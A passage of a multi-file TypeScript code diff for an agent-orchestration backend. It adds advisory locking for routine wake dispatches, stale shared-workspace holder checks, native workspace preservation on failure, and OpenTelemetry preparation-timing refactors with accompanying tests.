.where(eq(grokBotDispatches.status, "prepared")).orderBy(asc(grokBotDispatches.createdAt)).limit(10);
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { createHash, randomBytes, randomUUID, timingSafeEqual } from "node:crypto";
|
||||
import { and, asc, desc, eq, inArray, isNull, isNotNull, lte, or } from "drizzle-orm";
|
||||
import { and, asc, desc, eq, inArray, isNull, isNotNull, lte, or, sql } from "drizzle-orm";
|
||||
import { z } from "zod";
|
||||
import { companies, dotAgentBindings as bindings, dotRunnerAssignments as assignments,
|
||||
grokBotRoutines as routines, grokBotDispatches as dispatches, mcpOauthGrants, type Db } from "@paperclipai/db";
|
||||
@@ -17,6 +17,12 @@ export const grokWakeAcknowledgementSchema = z.object({ correlationId: z.uuid(),
|
||||
type Ack = z.infer<typeof grokWakeAcknowledgementSchema>;
|
||||
type Delivery = typeof deliverGrokRoutineWake;
|
||||
|
||||
/** Serialize work acceptance with the bounded HTTP handoff, without holding
|
||||
* binding/assignment row locks that would block Stop or authenticated replies. */
|
||||
export async function lockGrokRoutineAcceptance(database: Db, bindingId: string) {
|
||||
await database.execute(sql`select pg_advisory_xact_lock(hashtextextended(${`grok-routine-acceptance:${bindingId}`}, 0))`);
|
||||
}
|
||||
|
||||
/** Existing shared agent grants and assignments own authority; routines only wake the Bot. */
|
||||
export function grokRoutineService(db: Db, deliver: Delivery = deliverGrokRoutineWake) {
|
||||
async function current(database: Db, companyId: string, agentId: string, bindingId: string, lock = false, allowPaused = false) {
|
||||
@@ -165,7 +171,7 @@ export function grokRoutineService(db: Db, deliver: Delivery = deliverGrokRoutin
|
||||
if (row.kind === "mailbox_updated") {
|
||||
if (!row.assignmentId) throw fail("Work wake requires an admitted assignment.");
|
||||
const { dotRunnerBroker } = await import("../dot-runner-broker.js");
|
||||
await dotRunnerBroker(db).assertWakeAuthority(companyId, agentId, row.bindingId, row.assignmentId);
|
||||
await dotRunnerBroker(db).assertWakeAuthority(companyId, agentId, row.bindingId, row.assignmentId, { requireOffered: true });
|
||||
}
|
||||
// Accepted, acknowledged and uncertain work is never sent again after restart.
|
||||
if (row.expiresAt <= new Date()) throw fail("Unsent dispatch expired. Inspect before creating a new verification.");
|
||||
@@ -178,18 +184,32 @@ export function grokRoutineService(db: Db, deliver: Delivery = deliverGrokRoutin
|
||||
return row ? state(companyId, agentId, row.bindingId) : null;
|
||||
}
|
||||
let networkAttempted = false;
|
||||
let outcome: GrokRoutineDelivery = { delivery: "unknown", httpStatus: null };
|
||||
let outcome: { delivery: GrokRoutineDelivery["delivery"] | "cancelled"; httpStatus: number | null } = { delivery: "unknown", httpStatus: null };
|
||||
try {
|
||||
const secret = await secretService(db).resolveSecretValue(companyId, intent.routine.secretId, intent.routine.secretVersion,
|
||||
{ accessContext: { consumerType: "agent", consumerId: agentId, configPath: "grok.routine", actorType: "system", actorId: "grok-dispatch" } });
|
||||
// Recheck the grant after resolving credentials; resolution is not authority.
|
||||
await current(db, companyId, agentId, intent.row.bindingId);
|
||||
if (intent.row.kind === "mailbox_updated") {
|
||||
const { dotRunnerBroker } = await import("../dot-runner-broker.js");
|
||||
await dotRunnerBroker(db).assertWakeAuthority(companyId, agentId, intent.row.bindingId, intent.row.assignmentId!);
|
||||
}
|
||||
networkAttempted = true;
|
||||
outcome = await deliver(JSON.parse(secret), intent.row.payload as GrokRoutineWake);
|
||||
const handoff = async (database: Db) => {
|
||||
// Acceptance may have committed while credentials were resolving. An
|
||||
// obsolete, unsent wake is cancellation, not a provider rejection.
|
||||
if (intent.row.kind === "mailbox_updated") {
|
||||
const [assignment] = await database.select({ status: assignments.status }).from(assignments)
|
||||
.where(and(eq(assignments.id, intent.row.assignmentId!), eq(assignments.bindingId, intent.row.bindingId)));
|
||||
if (assignment && assignment.status !== "offered") return { delivery: "cancelled" as const, httpStatus: null };
|
||||
}
|
||||
// Recheck after acquiring the acceptance lock and resolving credentials.
|
||||
await current(database, companyId, agentId, intent.row.bindingId);
|
||||
if (intent.row.kind === "mailbox_updated") {
|
||||
const { dotRunnerBroker } = await import("../dot-runner-broker.js");
|
||||
await dotRunnerBroker(database).assertWakeAuthority(companyId, agentId, intent.row.bindingId, intent.row.assignmentId!, { requireOffered: true });
|
||||
}
|
||||
networkAttempted = true;
|
||||
return deliver(JSON.parse(secret), intent.row.payload as GrokRoutineWake);
|
||||
};
|
||||
outcome = intent.row.kind === "mailbox_updated" ? await db.transaction(async tx => {
|
||||
const database = tx as unknown as Db;
|
||||
await lockGrokRoutineAcceptance(database, intent.row.bindingId);
|
||||
return handoff(database);
|
||||
}) : await handoff(db);
|
||||
} catch { outcome = { delivery: networkAttempted ? "unknown" : "rejected", httpStatus: null }; /* Do not persist exception or response text. */ }
|
||||
await db.transaction(async tx => {
|
||||
await tx.select({ id: bindings.id }).from(bindings).where(eq(bindings.id, intent.row.bindingId)).for("update");
|
||||
@@ -215,7 +235,7 @@ export function grokRoutineService(db: Db, deliver: Delivery = deliverGrokRoutin
|
||||
if (row.dispatch.kind === "mailbox_updated") {
|
||||
if (!row.dispatch.assignmentId) throw fail("Work wake requires an admitted assignment.");
|
||||
const { dotRunnerBroker } = await import("../dot-runner-broker.js");
|
||||
await dotRunnerBroker(db).assertWakeAuthority(companyId, agentId, binding.id, row.dispatch.assignmentId);
|
||||
await dotRunnerBroker(db).assertWakeAuthority(companyId, agentId, binding.id, row.dispatch.assignmentId, { requireOffered: true });
|
||||
}
|
||||
// Retain the rejected receipt. Concurrent clicks reserve the same next intent;
|
||||
// accepted/unknown work can never enter this path, and is never replayed.
|
||||
|
||||
@@ -575,13 +575,14 @@ export function buildHeartbeatRunIssueComment(
|
||||
return resolveHeartbeatRunResponse({ resultJson }).text;
|
||||
}
|
||||
|
||||
export function findHeartbeatRunCompletionComment<T extends { id: string }>(
|
||||
export function findHeartbeatRunCompletionComment<T extends { id: string; presentation?: unknown }>(
|
||||
comments: T[],
|
||||
resultJson: Record<string, unknown> | null | undefined,
|
||||
): T | null {
|
||||
const completionComments = comments.filter(comment => record(comment.presentation).kind !== "system_notice");
|
||||
const receipts = resultJson?.semanticToolReceipts;
|
||||
if (!receipts || typeof receipts !== "object" || Array.isArray(receipts)) {
|
||||
return comments[0] ?? null;
|
||||
return completionComments[0] ?? null;
|
||||
}
|
||||
|
||||
const generatedCommentIds = new Set<string>();
|
||||
@@ -616,6 +617,6 @@ export function findHeartbeatRunCompletionComment<T extends { id: string }>(
|
||||
}
|
||||
|
||||
return (
|
||||
comments.find((comment) => !generatedCommentIds.has(comment.id)) ?? null
|
||||
completionComments.find((comment) => !generatedCommentIds.has(comment.id)) ?? null
|
||||
);
|
||||
}
|
||||
@@ -8,6 +8,7 @@ import { prepareHeartbeatTaskContext } from "./heartbeat/task-context.js";
|
||||
import { selectHeartbeatEnvironment } from "./heartbeat/environment-selection.js";
|
||||
import { prepareHeartbeatWorkspace } from "./heartbeat/workspace-preparation.js";
|
||||
import { executeHeartbeatRuntime, NativeSessionResumeScheduledError, NativeWorkspaceFinalizeScheduledError } from "./heartbeat/runtime-execution.js";
|
||||
import { preserveNativeFailedWorkspace } from "./native-runtime/native-failed-workspace-recovery.js";
|
||||
import { selectHeartbeatRuntime } from "./heartbeat/runtime-selection.js";
|
||||
import { createHeartbeatRunCompletion } from "./heartbeat/run-completion.js";
|
||||
export {
|
||||
@@ -321,12 +322,6 @@ import {
|
||||
import { HttpError, notFound } from "../errors.js";
|
||||
|
||||
import { logger } from "../middleware/logger.js";
|
||||
import {
|
||||
scrubGitCredentialText,
|
||||
} from "./git-credentials.js";
|
||||
// Re-exported because heartbeat's workspace surface exposed the scrubber before the
|
||||
// git-credentials module became its canonical home; existing importers keep working.
|
||||
export { scrubGitCredentialText };
|
||||
import { publishLiveEvent } from "./live-events.js";
|
||||
|
||||
import {
|
||||
@@ -953,6 +948,7 @@ export function heartbeatService(
|
||||
timerClaimWasFirstHeartbeat,
|
||||
scheduleInteractionContinuationInfrastructureRetryIfEligible,
|
||||
findSharedWorkspaceHolder,
|
||||
findExecutionWorkspaceHolder,
|
||||
finalizeAiConnectionBusyDeferral,
|
||||
finalizeWorkspaceBusyDeferral,
|
||||
promoteDueScheduledRetries,
|
||||
@@ -1940,6 +1936,23 @@ export function heartbeatService(
|
||||
let requiredWorkspaceRestoreEvidence: Record<string, unknown> | null = null;
|
||||
let providerResourceDispositionForRun:
|
||||
ProviderResourceDisposition | undefined;
|
||||
const preserveNativeWorkspaceOnFailure = async () => {
|
||||
const failureRun = await getRun(run.id);
|
||||
if (failureRun?.runtimeMode === "native"
|
||||
&& parseObject(failureRun.runnerProfileJson?.nativeWorkspaceSync).state === "prepared") {
|
||||
providerResourceDispositionForRun = "stop_and_retain";
|
||||
try {
|
||||
await preserveNativeFailedWorkspace(db, failureRun, {
|
||||
allowPreterminal: true,
|
||||
restartRecovery: runOptions.nativeRestartRecovery,
|
||||
});
|
||||
} catch (recoveryError) {
|
||||
if (recoveryError instanceof NativeWorkspaceFinalizationBusyError) nativeOwnershipHeld = true;
|
||||
else logger.error({ err: recoveryError, runId: run.id }, "failed to record retained native workspace recovery");
|
||||
}
|
||||
}
|
||||
return !nativeOwnershipHeld;
|
||||
};
|
||||
let nativeLifecycleTelemetryForRun:
|
||||
| {
|
||||
provider: string;
|
||||
@@ -2251,7 +2264,7 @@ export function heartbeatService(
|
||||
);
|
||||
const contextProjectId = readNonEmptyString(context.projectId);
|
||||
const boundSourceWorkspace = issueContext?.executionWorkspaceId
|
||||
? await executionWorkspacesSvc.getById(issueContext.executionWorkspaceId) : null;
|
||||
? await executionWorkspacesSvc.getStoredById(agent.companyId, issueContext.executionWorkspaceId) : null;
|
||||
const [selectedWorkspaceSource] = !boundSourceWorkspace && issueContext?.projectWorkspaceId
|
||||
? await db.select({ projectId: projectWorkspaces.projectId }).from(projectWorkspaces)
|
||||
.where(and(eq(projectWorkspaces.id, issueContext.projectWorkspaceId), eq(projectWorkspaces.companyId, agent.companyId))) : [];
|
||||
@@ -2624,7 +2637,7 @@ export function heartbeatService(
|
||||
projectExecutionWorkspacePolicy, issueExecutionWorkspaceSettings,
|
||||
},
|
||||
config: { config, sourceWorkspaceConfig, issueAssigneeOverrides },
|
||||
services: { executionWorkspacesSvc, environmentsSvc, instanceSettings, findSharedWorkspaceHolder },
|
||||
services: { executionWorkspacesSvc, environmentsSvc, instanceSettings, findSharedWorkspaceHolder, findExecutionWorkspaceHolder },
|
||||
}));
|
||||
let nativeChatExpectedCwd = selectedNativeChatExpectedCwd;
|
||||
const executionConfiguration = await timePreparation("execution_configuration", () => prepareHeartbeatExecutionConfiguration(db, {
|
||||
@@ -3597,6 +3610,7 @@ export function heartbeatService(
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (!(await preserveNativeWorkspaceOnFailure())) return;
|
||||
await runCompletion.failRun({
|
||||
run, agent, issueId, issueRef, signal: executionControl.controller.signal,
|
||||
output: runOutput,
|
||||
@@ -3643,8 +3657,11 @@ export function heartbeatService(
|
||||
},
|
||||
);
|
||||
} else {
|
||||
await runCompletion.failRunSetup({
|
||||
run, runId, outerErr, identityRedactor, readFailureReportSecrets,
|
||||
await preserveNativeWorkspaceOnFailure();
|
||||
if (!nativeOwnershipHeld) await runCompletion.failRunSetup({
|
||||
run, runId, outerErr, signal: executionControl.controller.signal,
|
||||
providerDispatchStarted: legacyAdapterEntered || nativeDispatchStarted,
|
||||
identityRedactor, readFailureReportSecrets,
|
||||
});
|
||||
}
|
||||
} finally {
|
||||
|
||||
@@ -53,7 +53,7 @@ describe.skipIf(!support.supported)("heartbeat environment selection boundary",
|
||||
projectExecutionWorkspacePolicy: null, issueExecutionWorkspaceSettings: null,
|
||||
},
|
||||
config: { config: {}, sourceWorkspaceConfig: {}, issueAssigneeOverrides: null },
|
||||
services: { environmentsSvc: environmentService(db), executionWorkspacesSvc: executionWorkspaceService(db), instanceSettings: instanceSettingsService(db), findSharedWorkspaceHolder: vi.fn(async () => null) },
|
||||
services: { environmentsSvc: environmentService(db), executionWorkspacesSvc: executionWorkspaceService(db), instanceSettings: instanceSettingsService(db), findSharedWorkspaceHolder: vi.fn(async () => null), findExecutionWorkspaceHolder: vi.fn(async () => null) },
|
||||
};
|
||||
const workspace = async () => {
|
||||
const created = await executionWorkspaceService(db).create({ companyId: company.id, projectId: project.id, sourceIssueId: issue.id, name: "Saved workspace", mode: "isolated_workspace", strategyType: "git_worktree", cwd: home, providerRef: home });
|
||||
@@ -89,6 +89,27 @@ describe.skipIf(!support.supported)("heartbeat environment selection boundary",
|
||||
expect(result.persistedNativeExecutionInput?.binding.executionWorkspaceId).toBe(original.id);
|
||||
});
|
||||
|
||||
it("selects the saved execution workspace without inspecting live Git delivery state", async () => {
|
||||
const { input, workspace, recover } = await fixture();
|
||||
const saved = await workspace();
|
||||
recover(saved.id);
|
||||
input.services.executionWorkspacesSvc = executionWorkspaceService(db, {
|
||||
inspectGitCloseReadiness: async () => {
|
||||
throw new Error("Live Git inspection is unavailable");
|
||||
},
|
||||
});
|
||||
|
||||
const result = await selectHeartbeatEnvironment(db, input);
|
||||
|
||||
expect(result.reusableExistingExecutionWorkspace).toMatchObject({
|
||||
id: saved.id,
|
||||
companyId: input.agent.companyId,
|
||||
cwd: home,
|
||||
strategyType: "git_worktree",
|
||||
});
|
||||
expect(result.nativeRecoveryExecutionWorkspaceId).toBe(saved.id);
|
||||
});
|
||||
|
||||
it("does not treat a synthetic run-id recovery binding as a persisted workspace", async () => {
|
||||
const { input, recover } = await fixture();
|
||||
recover(input.run.id);
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
import { heartbeatRuns, issues, type Db, type agents } from "@paperclipai/db";
|
||||
import { and, eq, ne, sql } from "drizzle-orm";
|
||||
import type { ExecutionWorkspace, IssueExecutionWorkspaceSettings, ProjectExecutionWorkspacePolicy } from "@paperclipai/shared";
|
||||
import { parseObject } from "../../adapters/utils.js";
|
||||
import { logger } from "../../middleware/logger.js";
|
||||
@@ -64,11 +63,12 @@ export interface HeartbeatEnvironmentSelectionInput {
|
||||
issueAssigneeOverrides: { adapterConfig: Record<string, unknown> | null } | null;
|
||||
};
|
||||
services: {
|
||||
executionWorkspacesSvc: Pick<ReturnType<typeof executionWorkspaceService>, "getById" | "validateSelection">;
|
||||
executionWorkspacesSvc: Pick<ReturnType<typeof executionWorkspaceService>, "getStoredById" | "validateSelection">;
|
||||
environmentsSvc: Pick<ReturnType<typeof environmentService>,
|
||||
"ensureLocalEnvironment" | "findManagedSandboxEnvironment" | "findKubernetesEnvironment" | "ensureKubernetesEnvironment" | "getById">;
|
||||
instanceSettings: Pick<ReturnType<typeof instanceSettingsService>, "get" | "getExperimental">;
|
||||
findSharedWorkspaceHolder: ReturnType<typeof createHeartbeatRetries>["findSharedWorkspaceHolder"];
|
||||
findExecutionWorkspaceHolder: ReturnType<typeof createHeartbeatRetries>["findExecutionWorkspaceHolder"];
|
||||
};
|
||||
}
|
||||
|
||||
@@ -84,7 +84,7 @@ export async function selectHeartbeatEnvironment(db: Db, input: HeartbeatEnviron
|
||||
projectExecutionWorkspacePolicy, issueExecutionWorkspaceSettings,
|
||||
} = input.policy;
|
||||
const { config, sourceWorkspaceConfig, issueAssigneeOverrides } = input.config;
|
||||
const { executionWorkspacesSvc, environmentsSvc, instanceSettings, findSharedWorkspaceHolder } = input.services;
|
||||
const { executionWorkspacesSvc, environmentsSvc, instanceSettings, findSharedWorkspaceHolder, findExecutionWorkspaceHolder } = input.services;
|
||||
// A native run's execution input is immutable once persisted. Recovery must therefore
|
||||
// restore the workspace bound to that input rather than consulting the issue's current
|
||||
// workspace pointer: a newer run may already have moved or cleared the issue binding while
|
||||
@@ -105,7 +105,7 @@ export async function selectHeartbeatEnvironment(db: Db, input: HeartbeatEnviron
|
||||
persistedNativeExecutionWorkspaceId ??
|
||||
readNonEmptyString(issueRef?.executionWorkspaceId);
|
||||
const existingExecutionWorkspace = requestedExecutionWorkspaceId
|
||||
? await executionWorkspacesSvc.getById(requestedExecutionWorkspaceId)
|
||||
? await executionWorkspacesSvc.getStoredById(agent.companyId, requestedExecutionWorkspaceId)
|
||||
: null;
|
||||
const nativeRecoveryExecutionWorkspaceId =
|
||||
resolveNativeRecoveryExecutionWorkspaceBinding({
|
||||
@@ -307,23 +307,45 @@ export async function selectHeartbeatEnvironment(db: Db, input: HeartbeatEnviron
|
||||
},
|
||||
);
|
||||
}
|
||||
if (!nativeRecoveryExecutionWorkspaceId && reusableExistingExecutionWorkspace &&
|
||||
effectiveExecutionWorkspaceMode === "shared_workspace" &&
|
||||
selectedEnvironmentForConfig?.driver !== "local" && selectedEnvironmentForConfig?.driver !== "ssh") {
|
||||
const [remoteSharedHolder] = await db.select({ id: heartbeatRuns.id }).from(heartbeatRuns).where(and(
|
||||
eq(heartbeatRuns.companyId, agent.companyId), ne(heartbeatRuns.id, run.id), eq(heartbeatRuns.status, "running"),
|
||||
sql`exists (select 1 from ${issues} where ${issues.companyId} = ${agent.companyId}
|
||||
and ${issues.executionWorkspaceId} = ${reusableExistingExecutionWorkspace.id}
|
||||
and (${issues.executionRunId} = ${heartbeatRuns.id} or ${issues.id}::text = coalesce(${heartbeatRuns.contextSnapshot}->>'issueId', ${heartbeatRuns.contextSnapshot}->>'taskId')))`,
|
||||
)).limit(1);
|
||||
if (remoteSharedHolder) throw new ConfigurationIncompleteFailure("This environment cannot place concurrent agents in one physical shared folder. Use local/SSH sharing or isolated task workspaces.", {
|
||||
configurationIncomplete: { reason: "shared_realization_unsupported", issueId },
|
||||
});
|
||||
}
|
||||
const sharedWorkspaceConcurrency = resolveSharedWorkspaceConcurrency({
|
||||
projectPolicy: projectExecutionWorkspacePolicy,
|
||||
issueSettings: issueExecutionWorkspaceSettings,
|
||||
});
|
||||
// A reused shared execution workspace (for example one a child task inherited from a
|
||||
// parent whose run is still live) follows the same policy as a shared project workspace:
|
||||
// only an explicit "allow" is unsupported outside local/SSH; otherwise wait for the holder.
|
||||
// A holder silent past the staleness cutoff is still running, so its folder is not free:
|
||||
// fail rather than overlap it or wait on it forever.
|
||||
if (!nativeRecoveryExecutionWorkspaceId && reusableExistingExecutionWorkspace &&
|
||||
effectiveExecutionWorkspaceMode === "shared_workspace" &&
|
||||
selectedEnvironmentForConfig?.driver !== "local" && selectedEnvironmentForConfig?.driver !== "ssh") {
|
||||
const executionWorkspaceHolder = await findExecutionWorkspaceHolder({
|
||||
companyId: agent.companyId,
|
||||
executionWorkspaceId: reusableExistingExecutionWorkspace.id,
|
||||
excludeRunId: run.id,
|
||||
});
|
||||
if (executionWorkspaceHolder) {
|
||||
if (executionWorkspaceHolder.stale) {
|
||||
throw new ConfigurationIncompleteFailure(`This environment cannot place concurrent agents in one physical shared folder, and run ${executionWorkspaceHolder.runId} still holds this shared execution workspace after more than an hour without output. Use local/SSH sharing or isolated task workspaces.`, {
|
||||
configurationIncomplete: { reason: "shared_realization_unsupported", issueId, holderRunId: executionWorkspaceHolder.runId, holderStale: true },
|
||||
});
|
||||
}
|
||||
if (sharedWorkspaceConcurrency === "allow") {
|
||||
throw new ConfigurationIncompleteFailure("This environment cannot place concurrent agents in one physical shared folder. Use local/SSH sharing or isolated task workspaces.", {
|
||||
configurationIncomplete: { reason: "shared_realization_unsupported", issueId },
|
||||
});
|
||||
}
|
||||
throw new WorkspaceBusyDeferral({
|
||||
holder: executionWorkspaceHolder,
|
||||
executionWorkspaceId: reusableExistingExecutionWorkspace.id,
|
||||
deferralAttempt:
|
||||
run.scheduledRetryReason === WORKSPACE_BUSY_RETRY_REASON
|
||||
? (run.scheduledRetryAttempt ?? 0)
|
||||
: 0,
|
||||
wasIssueAssignee: issueContext?.assigneeAgentId === agent.id,
|
||||
});
|
||||
}
|
||||
}
|
||||
// A live holder is always consulted for shared workspaces. Depending on policy and the final
|
||||
// execution target it either remains the existing deferral gate or becomes dispatch context.
|
||||
// Local/SSH folders never take an exclusive workspace lock, including when older
|
||||
|
||||
@@ -3,10 +3,33 @@ import { setImmediate } from "node:timers/promises";
|
||||
import { context, trace, TraceFlags } from "@opentelemetry/api";
|
||||
import { AsyncLocalStorageContextManager } from "@opentelemetry/context-async-hooks";
|
||||
import { AlwaysOffSampler, ParentBasedSampler, TracerProvider, InMemorySpanExporter, SimpleSpanProcessor } from "@opentelemetry/sdk-trace";
|
||||
import { expect, it, vi } from "vitest";
|
||||
import { afterEach, beforeEach, expect, it, vi } from "vitest";
|
||||
import { createHeartbeatPreparationTiming } from "./preparation-timing.js";
|
||||
import { createRunPreparationTiming } from "../execution-preparation-timing.js";
|
||||
|
||||
it.each([TraceFlags.NONE, TraceFlags.SAMPLED])("records background preparation independently of trigger flags %i and links back to it", async traceFlags => {
|
||||
beforeEach(() => vi.stubEnv("OTEL_EXPORTER_OTLP_ENDPOINT", "http://collector.test"));
|
||||
afterEach(() => vi.unstubAllEnvs());
|
||||
|
||||
it.each(["heartbeat.prepare", "native.controller"] as const)("keeps %s disabled without an endpoint when another library registers tracing", async scope => {
|
||||
vi.stubEnv("OTEL_EXPORTER_OTLP_ENDPOINT", undefined);
|
||||
const exporter = new InMemorySpanExporter();
|
||||
const provider = new TracerProvider({ spanProcessors: [new SimpleSpanProcessor({ exporter })] });
|
||||
expect(trace.setGlobalTracerProvider(provider)).toBe(true);
|
||||
const lookup = vi.spyOn(trace, "getTracer");
|
||||
try {
|
||||
await expect(createRunPreparationTiming("unconfigured-run", scope)("workspace", () => 42)).resolves.toBe(42);
|
||||
expect(lookup).not.toHaveBeenCalled();
|
||||
await provider.forceFlush();
|
||||
expect(exporter.getFinishedSpans()).toEqual([]);
|
||||
} finally {
|
||||
lookup.mockRestore();
|
||||
trace.disable();
|
||||
await provider.shutdown();
|
||||
}
|
||||
});
|
||||
|
||||
it.each([["heartbeat.prepare", TraceFlags.NONE], ["heartbeat.prepare", TraceFlags.SAMPLED], ["native.controller", TraceFlags.NONE], ["native.controller", TraceFlags.SAMPLED]] as const)("records %s independently of trigger flags %i and links back to it", async (scope, traceFlags) => {
|
||||
const phaseName = scope === "heartbeat.prepare" ? "workspace" : "backend_setup";
|
||||
const manager = new AsyncLocalStorageContextManager().enable();
|
||||
const exporter = new InMemorySpanExporter();
|
||||
const provider = new TracerProvider({ spanProcessors: [new SimpleSpanProcessor({ exporter })] });
|
||||
@@ -21,7 +44,7 @@ it.each([TraceFlags.NONE, TraceFlags.SAMPLED])("records background preparation i
|
||||
try {
|
||||
const result = {};
|
||||
await context.with(trace.setSpanContext(context.active(), trigger), async () => {
|
||||
await expect(createHeartbeatPreparationTiming("background-run")("workspace", async () => {
|
||||
await expect(createRunPreparationTiming("background-run", scope)(phaseName, async () => {
|
||||
await setImmediate();
|
||||
const child = trace.getTracer("preparation-context-test").startSpan("background.child");
|
||||
expect(child.isRecording()).toBe(true);
|
||||
@@ -33,7 +56,7 @@ it.each([TraceFlags.NONE, TraceFlags.SAMPLED])("records background preparation i
|
||||
await provider.forceFlush();
|
||||
const spans = exporter.getFinishedSpans();
|
||||
expect(spans).toHaveLength(2);
|
||||
const phase = spans.find(span => span.name === "heartbeat.prepare.workspace")!;
|
||||
const phase = spans.find(span => span.name === `${scope}.${phaseName}`)!;
|
||||
const child = spans.find(span => span.name === "background.child")!;
|
||||
expect(phase.parentSpanContext).toBeUndefined();
|
||||
expect(phase.links).toHaveLength(1);
|
||||
@@ -77,7 +100,8 @@ it("honors an operator sampler that disables root traces even when the trigger i
|
||||
}
|
||||
});
|
||||
|
||||
it.each(["workspace", "configuration_ai_runtime", "configuration_skills", "configuration_agent_identity"] as const)("stays silent and preserves values and errors without a tracer provider for %s", async phase => {
|
||||
it.each(["workspace", "configuration_ai_runtime", "configuration_skills", "configuration_agent_identity", "workspace_source_resolution", "workspace_provision_policy", "workspace_base_validation", "workspace_source_authorization", "workspace_provision", "workspace_source_retention", "workspace_binding", "workspace_record_update", "workspace_record_create", "workspace_operation_binding", "workspace_config_recording", "workspace_repository_admission", "workspace_project_repositories", "workspace_recovery_root", "backend_setup", "assigned_mcp", "github_access", "wake_binding", "connector_assignments", "tool_authority", "companion_selection", "runner_binary", "github_stop", "coordinator_release", "instruction_checkpoint", "instruction_changes", "warm_release", "instruction_collection"] as const)("stays silent and preserves values and errors without a tracer provider for %s", async phase => {
|
||||
vi.stubEnv("OTEL_EXPORTER_OTLP_ENDPOINT", undefined);
|
||||
trace.disable();
|
||||
context.disable();
|
||||
const messages = ["log", "info", "warn", "error", "debug"] as const;
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { createHash } from "node:crypto";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { createHeartbeatPreparationTiming } from "./preparation-timing.js";
|
||||
|
||||
const handles = vi.hoisted(() => ({ spans: [] as Array<{ setStatus: ReturnType<typeof vi.fn>; end: ReturnType<typeof vi.fn> }> }));
|
||||
@@ -15,7 +15,8 @@ vi.mock("@opentelemetry/api", () => ({
|
||||
}));
|
||||
|
||||
describe("heartbeat preparation timing", () => {
|
||||
beforeEach(() => { vi.clearAllMocks(); handles.spans.length = 0; });
|
||||
beforeEach(() => { vi.clearAllMocks(); handles.spans.length = 0; vi.stubEnv("OTEL_EXPORTER_OTLP_ENDPOINT", "http://collector.test"); });
|
||||
afterEach(() => vi.unstubAllEnvs());
|
||||
|
||||
it("correlates preparation with the existing run hash without recording content", async () => {
|
||||
const runId = "private-run-id";
|
||||
|
||||
@@ -1,35 +1 @@
|
||||
import { createHash } from "node:crypto";
|
||||
import { isSpanContextValid, ROOT_CONTEXT, SpanStatusCode, trace } from "@opentelemetry/api";
|
||||
|
||||
type PreparationPhase = "environment_selection" | "execution_configuration" | "session"
|
||||
| "workspace" | "github_environment" | "github_launchers" | "run_output"
|
||||
| "workspace_validation" | "runtime_services" | "instructions" | "runtime_selection"
|
||||
| "configuration_mentions" | "configuration_github_identity" | "configuration_secrets"
|
||||
| "configuration_ai_runtime" | "configuration_skills" | "configuration_connector_assignments"
|
||||
| "configuration_connector_skills" | "configuration_connector_delivery"
|
||||
| "configuration_connection_instructions" | "configuration_agent_identity";
|
||||
|
||||
export function createHeartbeatPreparationTiming(runId: string) {
|
||||
const runIdHash = createHash("sha256").update(runId).digest("hex").slice(0, 12);
|
||||
return <T>(phase: PreparationPhase, work: () => Promise<T>): Promise<T> => {
|
||||
const trigger = trace.getActiveSpan()?.spanContext();
|
||||
return trace.getTracer("paperclip.heartbeat-preparation").startActiveSpan(
|
||||
`heartbeat.prepare.${phase}`,
|
||||
{
|
||||
attributes: { "paperclip.task.run.run_id": runIdHash },
|
||||
...(trigger && isSpanContextValid(trigger) ? { links: [{ context: trigger }] } : {}),
|
||||
},
|
||||
ROOT_CONTEXT,
|
||||
async (span) => {
|
||||
try {
|
||||
return await work();
|
||||
} catch (error) {
|
||||
span.setStatus({ code: SpanStatusCode.ERROR });
|
||||
throw error;
|
||||
} finally {
|
||||
span.end();
|
||||
}
|
||||
},
|
||||
);
|
||||
};
|
||||
}
|
||||
export { createRunPreparationTiming as createHeartbeatPreparationTiming } from "../execution-preparation-timing.js";
|
||||
@@ -1,5 +1,6 @@
|
||||
import { claimNativeSessionResumptions } from "../native-runtime/native-finalization-reconciler.js";
|
||||
import type { Db } from "@paperclipai/db";
|
||||
import { agents, agentWakeupRequests, companies, createDb, EMBEDDED_POSTGRES_TEST_TIMEOUT_MS, heartbeatRuns, issues } from "@paperclipai/db";
|
||||
import { agents, agentWakeupRequests, companies, createDb, EMBEDDED_POSTGRES_TEST_TIMEOUT_MS, heartbeatRuns, issues, nativeRunFinalizations } from "@paperclipai/db";
|
||||
import { eq, sql } from "drizzle-orm";
|
||||
import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "../../__tests__/helpers/embedded-postgres.js";
|
||||
@@ -171,6 +172,33 @@ describe.skipIf(!support.supported)("heartbeat queue database wiring", () => {
|
||||
expect(current.executionRunId).toBe(newOwner.id);
|
||||
});
|
||||
|
||||
it.each(["running", "failed"])("resumes the %s native owner before promoting its queued waiter", async status => {
|
||||
const { run, issue, agent, company } = await fixture(status);
|
||||
await db.update(heartbeatRuns).set({ runtimeMode: "native", nativeIssueId: issue.id, runnerProfileJson: {
|
||||
nativeExecutionInput: { binding: { runId: run.id } },
|
||||
sessionCheckpoint: { providerSessionId: "original-session" },
|
||||
} }).where(eq(heartbeatRuns.id, run.id));
|
||||
await db.insert(nativeRunFinalizations).values({ runId: run.id, companyId: company.id,
|
||||
issueId: issue.id, phase: "retryable_failure", attempt: 1 });
|
||||
const [waiter] = await db.insert(heartbeatRuns).values({ companyId: company.id, agentId: agent.id,
|
||||
status: "queued", invocationSource: "assignment", responsibleUserId: "queue-test-user", contextSnapshot: { issueId: issue.id },
|
||||
}).returning();
|
||||
const deps = callbacks(db);
|
||||
deps.getAgent.mockResolvedValue(agent);
|
||||
deps.instanceSettings.getExperimental.mockResolvedValue({ enableNativeRunner: true } as Awaited<ReturnType<HeartbeatQueueDependencies["instanceSettings"]["getExperimental"]>>);
|
||||
const queue = createHeartbeatQueue(db, deps);
|
||||
expect(await queue.claimQueuedRun(waiter)).toBeNull();
|
||||
const claims = await claimNativeSessionResumptions({ db, runnerInstanceId: "owner", runIds: [run.id] });
|
||||
expect(claims.map(claim => claim.runId)).toEqual([run.id]);
|
||||
expect(await queue.claimQueuedRun(waiter)).toBeNull();
|
||||
await db.update(heartbeatRuns).set({ status: "succeeded" }).where(eq(heartbeatRuns.id, run.id));
|
||||
